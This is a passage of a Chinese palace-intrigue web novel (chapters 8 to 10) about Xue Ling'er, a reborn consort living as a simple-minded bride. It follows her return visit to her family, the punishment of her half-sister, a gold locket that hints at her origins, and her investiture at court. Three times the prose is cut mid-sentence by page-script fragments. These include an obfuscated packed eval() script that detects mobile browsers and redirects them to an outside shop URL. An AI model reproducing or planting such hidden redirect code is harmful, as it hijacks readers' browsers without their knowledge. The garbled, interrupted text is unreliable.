$(''#content'').append('' 可以整天在房里翻花绳,在花园跳格子,这日子多快活。” 说完还拍了拍掌,笑眯眯看着苏玉茹略微发青的脸。 这点小把戏,在前世的后宫争斗中算得了什么,薛灵儿早叫秋香打探了二房的丫鬟,知晓了二房主子的些许心事。 苏玉茹脸色青了转红,一时也分辨不清是这傻子说话歪打正着,还是什么,总之是正中了她两个痛处。一是她生性要强,偏偏夫婿读书不成,没有官位,靠着长房大伯哥的庇佑,害得她这个掌家少夫人名不正、言不顺。二是这宋汝琏喜爱往外跑,苏玉茹这样厉害的妻子也是管他不住。 正在怒火攻心,想寻趁这傻子几句,偏偏一抬眼,看见大伯哥打马飞奔而来,究竟是家主,且脾气并不随和,苏玉茹心里一怯,便退在了一边,吃了傻嫂子一个暗亏,也只得认了。 薛灵儿也抬眼往远方看了一看,安心放下了轿帘。远远的烟尘滚滚中,宋大人鲜衣怒马,从朝阳似火处,朝她的方向飞奔而来,虽然还是那张不讨喜的古板脸,但,此人言出必行,说到做到,总归还算有他的好处,能令人笃定和安心,这一点有点像她的父亲安国公。 想到安国公府的一切,爹,娘,哥哥,她的心好似被远方飞来的一簇箭射中,半晌之后,方趁着秋香不注意,悄悄拭去了眼角的泪。 宋府的回门马车,高头大马,黑漆四座,一式五辆,停在薛怀义的府门前,占据了半条街,立刻显得薛府的府门太小了些,等到车夫家丁下了车,把马车上满满当当的回门礼一箱一箱的往里边抬的时候,吸引了整条街的人来围观,男女老少,啧啧称羡。再一想到,这泼天的富贵居然是由一个傻姑娘高嫁挣回来的,满腔羡慕之情都化作了对天命的敬畏。 所谓天命,实不可测也。 至于薛府的上下人等,上自老爷薛怀、薛夫人,下至家丁仆妇,见外头街上这天大的热闹,如何能在屋内稳坐钓鱼台,早就来到府门口特地迎候。 薛灵儿先下车,由秋香扶着,先来到薛怀面前,勉强自己叫了一声“父亲”,原以为薛怀怎么也得摸摸头,上演一下父女情深,谁知老头儿眼光直勾勾,从薛灵儿鬓边穿过,好像薛灵儿是个透明人,接着老脸笑成了一朵菊花,饱含热情喊了一声:“贤婿!” 薛灵儿微微侧头,看到宋大人正在下马,心内暗暗叹息一声,随着秋香来拜见嫡母薛夫人,薛夫人倒是比薛怀强些,眼光好歹冷淡地在薛灵儿身上停留了一瞬,接着拉着秋香热切地东问西问起来。 薛灵儿又被上了一课。前世她人生顺遂,处处娇宠,从不知这许多的人情冷暖,原本以为傻姑娘为母家挣来这样的富贵荣耀,他们至不济也得装装样子,谁想到,居然连秋香都不如。 秋香被薛夫人拉住,薛灵儿孤身一人,装作若无其事,自来熟地,走进薛府大门,穿堂入室,走入了薛府正堂。 谁知一入正堂,迎面一个如花似玉的姑娘,手中正端着茶杯饮着茶,见了她,茶杯重重的往桌上一顿,茶水飞溅出来,姑娘的眼睛同时放出毒箭,几乎要将薛灵燕钉穿在当场。 薛灵儿费了半天力气想了起来,这姑娘叫□□燕,跟宋大人结亲拿错了的庚帖,原本是她的。 8. 家法 薛灵儿想起来眼前之人是谁,刚觉得不妙,这时外头传来扰攘喧哗,是薛怀高门大嗓地热情张罗,请贤婿进门,上座,一行人进入了正堂。 那□□燕听到一群人要走进来,究竟有姐夫这样的外男在内,躲到了一张大屏风后。 薛灵儿自行在侧位椅子上落了座,如她所预料,没有任何人搭理她,秋香老早陪在了薛夫人身边,薛怀对着贤婿满脸陪笑,嘴上寒暄不停,亲自递茶递水。 薛灵儿冷眼旁观,百无聊赖,拿起身边茶桌上的一块点心,嚼了两口,刚在腹诽这茶点粗陋难以下咽,忽然薛怀就看到了她,一瞪眼便责骂:“死丫头,如今出了阁,还是一点长进都没有,还不过来伏侍夫君。” 要她伏侍宋汝璋,再重生一辈子也是不可能。薛灵儿放下点心,对着名义上的父亲,翻了一个结结实实的大白眼,心里畅快无以言表,深深感到做傻子真好,又吐舌头做鬼脸,痛痛快快表达了这种畅快。 薛怀当众丢了面子,气得老脸通红,一叠声喊:“管家,拿家法来。” 宋汝璋从进门以来一声不出,此时才一摆手,开言发话:“岳父,不可。” 薛怀精神一振:“贤婿,有何话说?” 宋汝璋不疾不徐,从容答道:“灵燕心智未开,不应受到苛责,家法于她,并不适用。” “这……”薛怀听着此话已经十分有理,于是转了脸色,摆手示意管家停下。 薛夫人在旁,眼珠转动两下。 虽然宋大人说话时,一张脸和声音一样古板无波无澜,她还是猜疑了些东西。一个小妾生的傻丫头,都能勾动这年长未娶的英俊男子一副情肠,那么她一个正室夫人生的女儿如花似玉,千灵百俐,又差什么了? 那边厢,宋大人的话还未讲完:“……况且,灵燕已经有皇命在身,明日便带她入宫,受封诰命,寻常人等也是打她不得。” 这句话,惊掉了管家手里的竹板,和薛怀手里的茶碗,随从赶忙过来给老爷擦拭湿掉的衣衫。 薛怀呆楞半晌,口内发话,神情语调更加亢奋高昂:“竟有这样的喜事?可是托了贤婿的洪福了,管家,传令下去,明日摆宴,宴请亲朋好友,庆贺三小姐得皇封诰命!” 管家接受了三小姐带来的翻云覆雨的冲击,带着家法去传令摆宴,薛夫人眨了两下眼,横下了一条心,开口唤道:“老爷,姑爷……” 薛怀诧异地看了老妻一眼,不明白她这时候插话,把这两个人放在一起说,是要干什么。薛夫人无视了他的瞪视,鼓足了勇气:“老爷,我是想,当初和姑爷交换庚帖的,其实是飞燕,如今……灵燕嫁过去,虽然封诰命,怕也是服侍不好姑爷,不如送飞燕入门为妾,替她姐姐尽些夫妇之礼……” 薛夫人一语既出,四座皆惊。 薛灵儿闭了一下眼,恨不得自己击打天灵盖,这家人究竟有没有一个人知道什么叫做体面? 薛夫人本就如同赌徒一样孤注一掷,此刻面庞发红,满怀期待,屏风后有细微叮咚声音传来,显然是□□燕听到母亲当场不顾脸面为她争,激动得浑身颤抖。 好在薛怀没有令薛灵儿失望,老脸同样涨得通红为自己辩解:“贤婿莫要误会,你岳母今日怕是失心疯了,颠三倒四,千万别往心里去。” 宋汝璋声色不动,只淡淡说道:“岳父大人言重了,皇上封诰命,本就是因为小婿表明心迹,不纳妾侍通房,皇上对小婿和令爱的嘉许之意,此事已经在皇上面前言明,万万不敢打破。” 听到前世夫君的名讳,在今生被名义夫君口内第一次提起,薛灵儿心中掠过一阵刺痛,赶紧克制了自己,把心思从前世挪到眼前来。 薛怀本来没有什么期望,情绪也没受什么影响,只连声应和:“皇上圣明。皇上圣明。” 薛夫人脸上挂不住,却又强行要挂住,僵着脸打了两声哈哈,自说自话去厨房安排午饭事宜了。 薛灵儿听着屏风后面的脚步声,料想是□□燕失望跑走,无聊地微微打个哈欠,决定回自己的闺房躲个清静。 她招呼也不打,抬腿来到薛三小姐闺房,往曾经住了三天的木板床上一坐,顿感筋骨一松,就势躺下,倒头就想眯一会儿,今早折腾到现在,实在太乏太累了。 朦胧中秋香走了进来,想必是忽然想起来了,自己已经换了新主子,是三小姐的陪嫁丫鬟了,薛灵儿没有理,继续的在困意中下沉,刚刚迷糊一下,房门突然嘭的一响,吓了主仆二人好大一跳。薛灵儿刚来得及坐起身,穿上绣鞋,就见□□燕带着两个健壮仆妇闯进门来。 秋香一见对方来势汹汹,护主之情倒是一点没差事,忠肝义胆挡在了薛灵儿面前,架不住两个仆妇膀大腰圆,一人拎起秋香的一只胳膊,直接把人架出去关在了门外。 □□燕本来是想让两个仆妇扇薛灵燕几个大嘴巴出出气,自己不必亲自动手,可是眼见这傻子一张苹果脸儿白里透红,乌溜溜的大眼睛里透着无忧无虑,显然是高嫁得到了极好的待遇,想到那诰命夫人的尊贵头衔本来应该是自己的,都被这傻子抢了,怒火烧心,也顾不上闺秀的体面,抬手就往薛灵儿脸上抓,要把那苹果脸抓个满脸花,方能解气。 谁知手还没有碰到薛灵燕,不知怎么眼前一花,身子突然失了重,人就倒在了地上,眼见薛灵燕如同骑马一样,跨坐在了自己身上,而自己竟是丝毫没反应过来,等反应过来了丝毫反抗不得。 两个仆妇把秋香扔到了门外,反锁上房门,回身一看吓了一跳。痴傻的三小姐一贯软弱,受了欺负只会躲在墙角哀哀哭泣,几日不见怎么变成这样了? □□燕被薛灵儿骑在身下,尖声叫道:“快来救我!”话音未落,就觉脸上抵住了凉凉的尖尖的一物,薛灵燕声音凉凉地说道:“信不信我划花你的脸?让她们滚出去!” □□燕因生的好,人又伶俐,自小被母亲娇生惯养,哪里受过这样的惊吓,此刻内心的恐惧近乎崩溃,尖声叫道:“快出去快出去!” 两个仆妇仓皇后退,打开房门,恰好撞上秋香引着老爷夫人加上姑爷一行人来到了门口。薛怀往房内一瞥,见两个女儿滚在了地上,气得脑内一阵眩晕,怒声骂道:“胡闹!还不快起来!” 薛灵儿见人都来了,便从□□燕身上站起身,退开两步,作出小孩子的神态语调,对着薛怀先告一状:“爹爹,我正要睡觉,妹妹带着人闯进门来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712016|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要打我。” 薛怀只把眼光往她身上一扫而过,对□□燕斥责道:“还不赶紧给我起来!” 薛怀看□□燕的眼神明显带着关切,对于薛灵燕,则连一句关切的话都没有,薛灵儿垂下头,整了整鬓发和衣襟,内心苦笑一声。自己前世冤死已经是人间惨事,借尸还魂也这么命苦,撞到了这户人家。回个门而已,连少年时候在边塞跟野小子们打架的本事都用上了。 □□燕狼狈爬起,借哭遮羞,捂着脸扑到薛夫人怀里大放悲声,薛夫人心领神会,忍泪拍了拍女儿的肩膀,转头吩咐下人:“把四小姐带回房去歇息。” □□燕拿帕子遮着脸,刚要抬步,就听宋汝璋开口说道:“且慢。” 这把声音金声玉振,其实甚为动听,只语调冷淡古板,拒人千里,带一股不容拒绝的权威感,□□燕不由自主,就迈不开脚步,薛怀也忙不迭地问:“贤婿,有何指教?” 宋汝璋语气冰冷:“国有国法,家有家规,灵燕是我妻子,她受了欺辱,不能不替她讨个公道。” 薛夫人心中一凉。自己果然没有看错,这年纪轻轻便居高官之位的男子,果然把个傻姑娘放在了心上。他既然开口说话,自己女儿怕是要吃亏,万般无奈之下,再次老了脸皮开口求情:“姑爷,飞燕年轻不懂事,我让她同灵燕好好陪个不是,她就知道错了。” 对于薛夫人的护短之辞,宋汝璋直如未闻,只对薛怀说道:“灵燕就要得诰命之封,若是任由她被人欺辱,怕是对圣上不敬。” 这一顶大帽子扣下来,薛怀再不犹豫,叹息一声转头吩咐管家:“取家法来。” 管家一路小跑,把刚刚收起的竹板又取了来,只不过,这次的受刑人从痴傻三小姐改为一向受宠跋扈的四小姐,今日上午的薛府,也真是瞬息万变了。 一听说取家法来,□□燕变了脸色,抬步想跑掉,薛怀一看新姑爷凛冽冰凉的强大气场,赶紧吩咐仆妇拦住:“把四小姐带入灵燕的屋子里,让灵燕亲眼看着她受罚,也好出气。” 眼看管家把竹板取了来,薛怀忍着对伶俐女儿的心疼,强颜欢笑招呼宋汝璋:“贤婿,还请正厅饮茶。” 翁婿二人并肩出了房门,薛夫人抹着眼泪也躲了出去,只余下薛灵儿,监管着□□燕受家法惩罚。 一个高大仆妇挥起竹板,击打在□□燕手掌,雪白的掌心立刻出现一道紫红的瘀痕,□□燕惨叫一声。 薛灵儿转了头,望向窗外,耳听着□□燕的哭叫声越来越惨,勉强忍耐着,只见临窗一棵苦楝树上,鸟雀啁啾,树叶半红半绿,一抹秋色已经悄悄降临。 一个年老仆妇原本在园子里侍弄花草,被这边传来的惨叫声吸引,忍不住朝这边望过来,薛灵儿也呆望了她半晌。过得片刻,那仆妇迟迟疑疑,来到了窗边,一张胡桃似的皱面孔凑近薛灵儿:“燕儿,你还记得我吗?” 薛灵儿是借薛灵燕落水而亡的尸身还魂,自然不认得薛灵燕生前的任何故人,但好在是个痴傻姑娘,说不记得谁都没有破绽,于是理直气壮摇摇头:“不记得了,你认得我?” 年老仆妇皱面孔上露出笑意:“你小时候吃过我的奶,你不记得了?” 9. 进宫 恰在这时,身后仆妇对薛灵儿大声禀告:“三小姐,四小姐的家法已经用完,请三小姐的示下。” 以往在薛府,三小姐就是傻子受气包,这辈子还没有人请过三小姐的示下,不过今时不同往日,三小姐高嫁一步登天封了诰命不说,居然还有人真心的疼她,为她撑腰了。动家法的仆妇一边垂头听示,一边心内觉得人的命数不可思议。 但两个薛府仆妇给出了这样大的排面,三小姐居然连头都没回,只朝身后摆了摆手,秋香对着仆妇吩咐道:“都下去吧。” 两个仆妇搀扶着抽泣得上气不接下气的□□燕,一溜烟出了房门。屋内一股令人不愉的血腥气,薛灵儿皱了皱眉,带着秋香回到了前厅。 宋汝璋一见她出现,便站起身,对薛怀深施一礼说道:“岳父,小婿这就告辞。” 薛怀和薛夫人同时大惊失色:“怎么,这回门宴早早已经备下了……” 宋汝璋淡淡说道:“莫怪小婿多言,岳父官风虽好,家风尚需整饬,今日就不多叨扰了,待整饬好了,再带灵燕回来。” 薛怀点头称是,一张老脸红了又白,薛灵儿偷瞟了宋大人一眼,这人跟前世一般不通世故,口角锋利,丝毫也不给人留面子,刚为官的时候得罪了如日中天的薛贵妃,吃了多少苦头,竟然丝毫也不知道悔改。 不过薛贵妃再世为人,居然被这人护住,也真算得造化弄人了。 感慨一番后,薛灵儿被秋香搀扶着坐上了马车,半晌不见马车动身,掀开轿帘一看,原来宋汝璋被一个年老仆妇拉住了。 虽然与薛灵儿的马车相隔甚远,但不难认得出来,就是在花园中与薛灵儿搭话的年老仆妇,就见她往宋汝璋手里递了什么东西,就被薛府家丁赶开了,随后宋汝璋上了马,一行人回到了宋府。 宋汝璋依礼,又将薛灵儿送到悲寥轩门前,正待挥袖告别,忽然想起一事,从腰囊中掏出一个东西递给薛灵儿:“适才薛府门前,那个年老仆妇,说是你幼年时候的奶母,有样东西一直替你保管。” 薛灵儿好奇接过来,是个褪色的锦囊,打开一看,里头是个金项圈,就着正午的日光,薛灵儿将它擎在手上仔细观看。 项圈小小的,一看就是婴儿佩戴,年深日久,金子失了光泽,但上面花丝镂刻异常精致细巧,但看做工便非寻常之物,就算现在的薛怀府上,也找不出来这么一个,何况十八年前一个不受宠的妾生女,项圈上镶嵌一颗翠玉,就着日光一端详,更是非同小可,那一汪清泉似的水色,非大富大贵之家不能有。 心中的狐疑越来越大,把项圈就着日光反复细看,项圈内部有篆字纹样,显示这是皇宫内造之物。 薛灵儿的心中咚的一跳,这痴傻的薛灵燕难道另有身世来历?身上怎么会有皇族赏赐的珍物? 宋大人这时候开了口,正对上了薛灵儿的猜疑。 “刘妈托我给你带句话,说你并非薛怀亲生,只是这件事,除了你故去的生母,就只有她知道。从前你无依无靠,这个身世表记只能她替你收着,如今你有人护着,有了依靠,她要你日后,想法子去找自己的亲族。” 薛灵儿点点头,把金项圈交给秋香,正想开口道个谢,请宋大人回书房休息,流云这时候却又多了口。 “主子站在院里说了这么半天话,腿不酸吗?不如进夫人的屋子摆上午饭茶点,有话慢慢说,岂不更好?” 宋大人的眼刀如同寒霜冷电,寒光凛凛扫向了流云,流云这才记起昨天中午来这屋子吃饭,因为鹿肉闹了多大尴尬,一缩脖子不敢言语了。 秋香这时候知机解围:“大人,流云小哥说的有理,今日咱们没有在母家用回门宴,若是惊动府内的大厨房,必定会在府内传出去,究竟是对三小姐母家的风评不好。奴婢观望着,咱们这个院子里自有小厨房,是日常看园子的老妈妈们在用着,不如奴婢下厨,整治一点清淡菜蔬给两位主子用,不必惊动府里,岂不是两全其美?” 秋香这番话实属两全其美,既勾起了他护着傻妻子的心,又打消了宋大人对昨日尴尬的顾虑。薛灵儿心中暗叹自己没有看错人,这个丫鬟别说在宋府,就算在梧桐宫,做个屋内侍奉的三等宫女,也够用了。 于是对着宋汝璋扬起脸,露一个天真的笑容:“是啊大人,明日不是要带我进宫吗,我正害怕呢,不如一起吃顿饭,大人教教我,进宫该怎样说话。” 宋汝璋本想说,你只需不说话便好,但一看她与早夭小妹三分相似的神情,忽然就忍不下心那样直言不讳的打击她的一团高兴,不由得便心软点一下头,抬步便往悲寥轩的房门走去。 流云和秋香不约而同,心领神会地,相视一笑。 薛灵儿跟在宋大人身后,望着他的高大背影,萧萧素素,爽朗清举,当真有几分古书上所说飘洒落拓的名士风度,忽然觉得,这人虽然讨人嫌,却也并非全无好处。恰因为他为人方正,认死理,对于一个痴傻的名义妻子,也肯认真对待,事必躬亲,着意庇护,而这,便已经是世人所不能及。 自己前世为国公府大小姐,后又入宫为贵妃,见过多少勋贵男子,就算一开始图新鲜,图美色,与枕边人好的蜜里调油,等新鲜劲儿一过便丢在脑后,对待曾经花前月下、山盟海誓的妻子,实则还比不上宋大人对她这个名义妻子、痴傻姑娘。 而宋汝璋,纵然古板严厉,不近人情,但是,他不势利。用佛家语所说,他没有分别心。 有点超凡入圣的境界。 薛灵儿胡思乱想着踏入房门,忽然冒出一个念头。只不过是个名义妻子,都得到了这样的认真对待,假如是这人的真正心上人呢? 他又会如何? 二人用完秋香烹制的清淡可口小菜,薛灵儿送走名义夫君,开始着手明日进宫的准备,忙忙碌碌,扰扰攘攘,到了晚间,薛灵儿终于有闲暇坐下来,对着高烧的红烛,喝上一杯清茶,感慨自己遭遇命数之离奇。前世宠冠六宫,后又不明不白被害,重生回来与宿敌成亲,刚刚第四日,又要进宫受封二品大员的诰命夫人了。 一大清早艳阳高照,天空碧蓝,是个难得的晴透敞亮的好天气。 薛灵儿起的很早,坐在菱花镜前,做一番隆重的装饰。 秋香发现,一贯无忧无虑,不知道害怕为何物的主子,今日突然消失了那份没心没肺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712017|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的镇定,先是要亲手上妆,结果上妆的时候,素手微微颤抖,半边眉毛都画歪了,还得她上手补救。 等到皇宫的朱红色大门近在眼前,秋香被留在了宫门外,薛灵儿一身得体的新妇装束,将手帕搭在宋汝璋衣袖上,大红绣鞋迈进宫门口,远远望到太和殿的巍峨投影的那一刻,一路强装的镇定几乎在一瞬间崩塌。 或许是宋汝璋稳如山岳的气度自带宁神效果,或许是他身上淡淡的松竹凛冽之气,薛灵儿总算没有失态,挪动着裙幅下颤抖的双腿,登上宫人前来迎接的轿辇。 不用掀开轿帘去看,薛灵儿闭眼也知道,这一刻是正在经过九龙壁,那一刻是路过了群臣朝贺的太和殿,又路过了皇帝所居的乾清宫,正在往皇后所居的坤宁宫而去。 在坤宁宫门口落了轿,宋大人令薛灵儿搭着自己的衣袖,从容向前,却眼观鼻鼻观心,垂首不敢抬目,盖因深深明白一个道理,自古外臣不入内宫。 进得高大阔朗的正殿,依旧是垂首低眼,在地上备好的锦绣跪垫上,与薛灵儿肩并肩,对高座上的皇帝皇后,恭恭敬敬行了三拜九叩的大礼。 礼毕,依旧跪着不敢抬眼,直到高堂上那九五至尊带三分笑意,温声说道:“明堂,朕既然允你到了这里,又何必如此拘谨,快起身,赐座,只做家常往来姿态,最好。” 宋汝璋缓缓呼出一口气,携着薛灵儿衣袖站起身,在旁暗紫色阴沉檀木椅上,半侧身子勉强落了座,薛灵儿依旧不敢抬头,引得那皇后娘娘温声说道:“薛氏,你也不必过于拘谨,明堂是皇上的棋酒之交,在一众年轻臣子之中,是难得的投缘亲近之人,好容易娶妻立室,后宫嫔妃们都想看看,是什么样的女子有这样大的缘法,因此今日召你进宫,只管随意说笑,莫要拘束了。” 薛灵儿方才听皇帝说话,一如往日的那般温润和煦,前世花前月下那些荣宠时光,突然就跳出脑海,不知不觉就浸了一眶眼泪,又听得皇后温声抚慰,勉强将那一眶眼泪逼了回去,抬起眼,露出一个笑意。 “回皇后娘娘的话,民妇听说,皇后娘娘不光尊贵美貌,性情也最是宽厚和气,今日一见,果然如此。” 皇后娘娘心下一宽,听说宋汝璋新妇痴傻如孩童,今日一见倒还好,也并不如何痴傻,又或者,是提前演练好了说辞,也未可知。 宋汝璋心下也是一宽。昨日午饭过后,是教习过薛灵儿见了皇帝皇后如何说话,但也没想到她真听进去了,且运用得灵活得体。可见灵燕这孩子,也并不是灵窍全无,只是在母家,无人重视无人照管罢了。 薛灵儿此刻稍微的冷静了下来,心里忽然悟过来一件事,帝后都在称呼宋汝璋的表字,叫做明堂,宋府没有一个人这样称呼他,连她嫁了他,也根本不知道。 可见现在的宋汝璋,与皇帝,不是一般的亲近。 她将心思全放在母家的冤屈上,并未向皇帝的面容瞧上一眼,倒也合乎君臣礼仪,男女大防。 但皇帝出于好奇,朝这臣妻面上瞟了一眼,却是心神俱震,着实恍了一下神。 盖因为,在这臣妻的天真娇靥上,隐隐约约,看到了一个故人的影子。 10. 故人 坤宁宫的正殿高阔疏朗,金质麒麟在精雕的花梨木香料台上静静的吐瑞,宫内弥散着上好香料的清芬,可薛灵儿只觉得透不过气,也不敢抬眼,怕一抬眼看到皇帝的面容,自己的心会在胸膛内崩裂。 还好屋内静默了片刻,就听皇上站起身,对皇后郑氏叮嘱道:“宋夫人的受封礼仪,便由你主持,朕带着明堂,回乾清宫,下一盘棋。” 郑皇后微有诧异,原本说好了,皇帝凑个热闹,一起观礼,左不过是名痴傻女子,也不必太顾忌男女大防,这又是怎么……但皇帝毕竟是皇帝,突然改了主意也属寻常,于是躬身答道:“如此,臣妾便带领各宫嫔妃一同观礼便了。” 眼见皇帝转身,迈步,坤宁宫内众女子,连同薛灵儿在内,一同伏地,行跪拜恭送之礼,口称“恭送皇上”,宋汝璋躬身,跟在皇帝身后,两个男子身形消失在殿门口。屋内女子连郑皇后在内,都松了一口气。 郑皇后抬手让全屋子的人起身,然后笑着对薛灵儿一招手:“薛氏,随本宫到御花园中去,各宫嫔妃都在那里等着呢,要瞧瞧你是怎么个模样。” 各宫嫔妃……薛灵儿心口一阵酸楚,前世,她正是这各宫嫔妃之首。 略一宁定,张口便答道:“嫔妾遵皇后之命。” 郑皇后听得一愣。心说这女子果然还是有些痴傻,这些要紧称谓分不清楚,于是轻轻咳嗽了一声,示意提醒。薛灵儿这才清醒过来,改口说道:“民妇谨遵皇后之命。” 掌事大宫女画屏带一行宫人侍奉鸾驾,一行人来到了御花园。 时近初秋,天高云淡,御花园内,枫叶初红,碧桐尚绿,正是一派极美的清秋光景。 薛灵儿眼望御花园深处,那一片芭蕉树与碧桃花交织之处,眼前略有些发黑。 每年初夏时节,碧桃花开,花香四溢,绿荫匝地,正是皇帝与她最爱散步与小酌的去处。 而每当她微醺薄醉,笑声格外的多,格外的洪亮,温文尔雅的皇帝总会轻轻皱眉,用手上的玉扳指刮她的鼻子,取笑她是个野丫头,不过在这种时候,原本多思多虑的皇帝,眼内的清愁会淡去一些,唇边笑意也会格外多一些…… 跟在鸾驾之后,转眼来到了百花亭,远远看见亭子内一众宫装丽人,绣带飘摇,香风四溢,赶忙擦去眼角一滴清泪,打醒了精神。毕竟,这是她此行的真正目的。 一见郑皇后到来,百花亭内各宫嫔妃恭敬起身。 身后跟着一个新妇打扮的陌生年轻女子,垂头带羞涩之意,不问可知,是朝堂那位晋升最快、最受皇宠的年轻官员宋汝璋新娶的妻室。 且听说,是个言语行事如孩童的傻子。 一时之间,众妃好奇的目光如闪电雪亮,打量在这新妇身上。 见她一袭银红外衫,金银暗绣百花戏蝶纹样,下系樱花粉色细百褶裙,发髻上插戴一只九凤朝阳赤金凤钗,其余仅有翠钿作为装饰,与耳边垂坠着的小小翡翠耳铛为呼应,全身装扮,十分得体,恰到好处,可说是既明艳喜庆,合乎新妇身份,又不过分招摇艳俗,正合民妇进宫朝见贵人的分寸。 众妃一时狐疑,宋汝璋府上在京城左右不过是个新贵,二品之家,这样积年累世的世家大族方有的品味和分寸,又是从何而来? 正在狐疑之中,就见郑皇后身边的掌事画屏在亭子中间站定,旁有一司礼监手持一册诏书,另有宫人导引着薛灵儿,跪在郑皇后面前的锦垫上,伏身垂首,恭敬听封。 就听那名司礼监朗声读出诏书:“奉天承运,皇帝诏曰,二品官员宋汝璋之妻薛氏,柔嘉维则,性姿敏慧,风华幽静,淑德含章,着即封为二品诰命夫人,钦此。” 众妃听着这诏书不着边际的套话,与她们封妃封嫔的时候也都差不多,心中却都暗叹着这姑娘的命数运气。 寻常官员家眷受封诰命,了不起就是宫内太监上门宣读诏书,已经是了不起的荣耀,如今这位,居然来到宫中由皇后亲封,听闻只是五品小官家的庶女,且痴傻如孩童,天命这东西,也是不可思议了。 再细细观看这人人艳羡的受封女子,一张苹果脸儿脂粉薄施,白里透红,腮边一点软肉显得肌肤莹润,稚气未脱,虽是听闻痴傻无状,此时倒也垂眉敛目,或许是见了宫中贵人不由得心生拘谨,却也不知为何,当受封礼仪完毕,郑皇后垂怜,抬手叫她起身,赐座,也不知怎么,好像有一滴泪如同一颗暗色珠子一闪,在她眼角边滑落,许是欢喜的狠了。 郑皇后轻声吩咐宫人,导引着薛灵儿往末席那边落座,眼角余光内,却见亭子外的芍药栏边,有明黄袍角一闪,心内吃一惊,忙忙的站起身来,口称“陛下”。 众妃一见皇后起身,都跟着起身,在亭内行礼跪拜。薛灵儿跪在末座旁边,耳听着众声莺莺燕燕,抬目只见到皇帝的杏黄色卷云靴,明黄绣五色龙纹常服的一角袍角。 心内正在震荡,就听皇帝发话言道:“都起来吧,朕不过是信步走走,乾清宫那边还落着半坪棋呢。” 声音语调甚是柔和温煦,不带半分火气,叫人听了便不由得心内安宁几分,正是薛灵儿在前世最熟悉的样子。 郑皇后抬眼,见他果然在芍药栏边信手摘了一朵晚开的葛巾紫,袍带一挽,竟真的转身离去,于是带领众妃起身,重行落座,画屏在她面前斟上一杯波斯新贡的葡萄果酒。 今年这酒的成色格外佳,斟入水晶杯,便有馥郁的酒香扑上面孔,左近的几个妃子禁不住发出赞叹之声,还是没能驱散郑皇后心头的一点狐疑。 虽则皇上一如往常的温雅,看似没有什么异样,但她总觉得,那芍药栏边离去的明黄背影,带了一丝说不出的清冷落寞。 皇帝来了又走,走了又来,薛灵儿并没有瞧见他的半点儿面庞,现下随众妃起身,在最末席半侧了身子落座,视线扫过亭边的飞檐,见飞檐上的乌木麒麟换了五彩金漆,心下一阵怃然,一转眼她死去三年,连百花亭也换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712018|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了模样。 猛地想起方才那一抬眼,皇上足上所着的家常杏黄卷云靴,还是她生前所选式样,督促着内务府几个老练绣娘,在皇上生日之际精心绣制出来,没想到,旧物还在,人却已经入土化为尘埃,坟前草木已拱。 前世的琐细日常,忽然像从天而降的灰尘,薛灵儿瞬间双眼通红,郑皇后正好面对她,温声问道:“薛氏是怎么了,可是身子突然不适吗?” 薛灵儿一个警醒,起身向皇后告罪:“禀皇后娘娘,民妇是被灰尘迷了一下眼,不打紧的。” 就听得皇后左侧、长桌上首传来一声轻笑:“薛氏,听说你是福大命大之人,怎么偏这皇宫的水土与你不服?我们在这里住了许久,也没见过哪里有灰尘呢。” 这位一开腔,立即有几个嫔妃附和着笑起来,薛灵儿眼神一扫,见是李妃,心下恍然,这位向来以貌美自负,在嫔妃之中也就略逊薛灵儿几分,论性子张扬,牙尖嘴利,则不逊于她,是以,当年虽然位分低于她,论起敢与薛贵妃别苗头的,也就是她了。 李妃以惯常姿态取笑了一番,正自得意欢欣之际,忽然觉得薛氏扫过来的一个眼神颇为尖利,又有点莫名的熟悉感,心下咚的一跳,刚想说话,就听自己对面位置罗扇扑地一声响,接着一人发话。 “李妹妹讲话还是这么不饶人,也不怕新媳妇害羞吗,皇上特别恩宠召进宫里来的,可别把人吓跑了,你我可担待不起。” 李妃从来也不是能让人的性子,当即启朱唇一笑:“贵妃娘娘,我不过是句玩笑话罢了,怎么给我派这么大的罪名呢,妹妹我可真担当不起。” 秦贵妃也一笑:“我们都是自家姐妹玩笑话,只是这位薛氏远来是客,我不过说句公道话罢了,没有灰尘,还没有飞虫吗,适才我这罗扇,便扑杀了一只呢。” 薛灵儿听这位说话慢声细语,说出话来句句都是为她周全解围,这坐在皇后下首,虽然淡妆清雅,自有位高权重之势,不是秦贵妃,还能有谁? 那个位置,原本是薛贵妃坐着的。 当年二人都是武将重臣之女,国公府的大小姐,皇帝恩赏一同进宫,后来又一同封了贵妃,只是这秦若月性子温和低调,不如薛灵儿张扬明媚,是以在圣宠方面始终差了几分。 